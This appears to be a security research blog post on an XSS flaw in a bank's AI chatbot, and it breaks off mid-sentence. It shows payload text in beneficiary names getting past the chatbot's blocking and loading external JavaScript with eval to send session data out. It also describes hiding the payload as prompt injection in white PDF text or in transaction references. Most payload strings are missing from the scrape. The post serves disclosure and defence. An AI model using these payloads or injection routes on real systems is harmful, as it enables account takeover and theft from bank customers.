Banking AI XSS: The exploit is in the payment reference

breakingsystems2 pts0 comments

Banking AI XSS: The exploit is in the payment reference | Positive Security

Banking AI XSS: The exploit is in the payment reference<br>August 10, 2026

By<br>Fabian Bräunlein

-- MARKDOWN --<br>- Our bank introduced an **AI chatbot** that can access customer data and trigger actions<br>- We found it **vulnerable to XSS** and created PoCs to deliver the payload via an **uploaded PDF** and **bank transaction references**<br>- A **victim asking the chatbot** to "list this month's transactions" can trigger the XSS and **compromise their banking session**<br>- We **responsibly disclosed** the issue, and a **fix was quickly deployed**<br># Table of Contents<br>- [Discovery](#discovery)<br>- ["Weaponizing" the XSS](#weaponizing-the-xss)<br>- [Finding better attack vectors](#finding-better-attack-vectors)<br>- [Invoice PDF](#invoice-pdf)<br>- [Bank transfer](#bank-transfer)<br>- [Disclosure](#disclosure)<br>- [Conclusion](#conclusion)<br># Discovery<br>While trying out the new AI feature of our business bank to find a specific transaction, I couldn't resist exploring it just a bit.<br>First I asked the AI assistant to add a beneficiary named "foobar" to see if that is within its capabilities and how it's implemented:

Adding a new beneficiary with the name "foobar"Next let's try to add Little Image Sourcey: ``

Adding a beneficiary with an `` HTML tagThat's interesting to say the least. It could still use a sanitization library like DOMPurify though to at least prevent JavaScript execution.<br>Does `` also work?

The imaginary "onfoobar" event handler is not filtered outOkay, it's getting dangerously close..<br>How about the classic ``?

An `` tag with an `onerror` attribute results in an errorThis prompt was blocked by _something_.<br>Checking the [PortSwigger XSS Cheat Sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) for a different interactionless `` event handler:<br>```

```

Popping an alert box in the context of our bank's web applicationThe first alert box, within 2 minutes of using the chatbot.<br>Note: During our later tests, one of our conversations was also automatically forwarded to a human agent:

Nothing to see hereIn case the HTML was also rendered for them, this would allow for privilege escalation via blind XSS in the support agent application (untested).<br># "Weaponizing" the XSS<br>I then spent a while adjusting the payload to load an external JavaScript file and execute it, while not triggering any of the safeguards and making sure that the HTML tags were reflected without HTML-encoding (with the more complicated payloads this happened more often).<br>I found it would help to start the payload with a simple ``. That short image tag was more likely rendered as HTML and I assume this increases the probability of the following `This produced a "beneficiary" with the following name:<br>```<br>My r.text()).then(eval)" style=content-visibility:auto> Flo<br>```<br>When this name is reflected in the AI response, the following chain is triggered:<br>1. An `` tag with an event handler is rendered, which fires without additional user interaction<br>2. External malicious JavaScript is loaded into the current session<br>3. Authenticated requests are executed against the bank's API (in our PoC, just retrieving the user's email from `/auth/v2/users/me`)<br>4. Information is exfiltrated to an external server<br>Notes:<br>- There was no Content Security Policy (CSP) preventing any of the steps (e.g. loading JavaScript from arbitrary domains)<br>- There are no checks or restrictions anymore on what the injected JavaScript could do, with MFA being the only additional barrier to e.g. empty the bank account<br># Finding better attack vectors<br>With the basic XSS and post-exploitation in place, it was time to think about more interesting attack vectors (besides the potential support agent escalation vector, it's mostly a "self-XSS" so far that would require heavy social engineering to make somebody paste a malicious prompt into their AI chatbox).<br>To prove that this XSS carries a more significant risk, I had two ideas for where to put the payload (and instructions):<br>- **PDF:** It's a typical workflow to receive PDF documents from 3rd-parties, and to use the bank's AI to process them (e.g. to pay invoices)<br>- **SEPA transaction references:** The payload is injected without any victim user interaction and can trigger whenever transactions are queried through the AI assistant<br>The last attack vector especially just sounded too fun, sci-fi and interesting not to give it a quick shot before disclosing the vulnerability.<br>## Invoice PDF<br>I created a PDF with white text, that the LLM will parse:

Payload and instructions stored in the PDF as white text on white backgroundWhen this PDF is uploaded by the victim with instructions such as "Add the beneficiary from attached PDF", the XSS is triggered and the session hijacked.

Video: XSS via uploaded PDF

Note: The "broken image" in the AI response could easily be hidden - we just kept it for the PoC videos as it clearly shows where/when HTML is rendered.<br>We...

bank payload html attack beneficiary javascript

Related Articles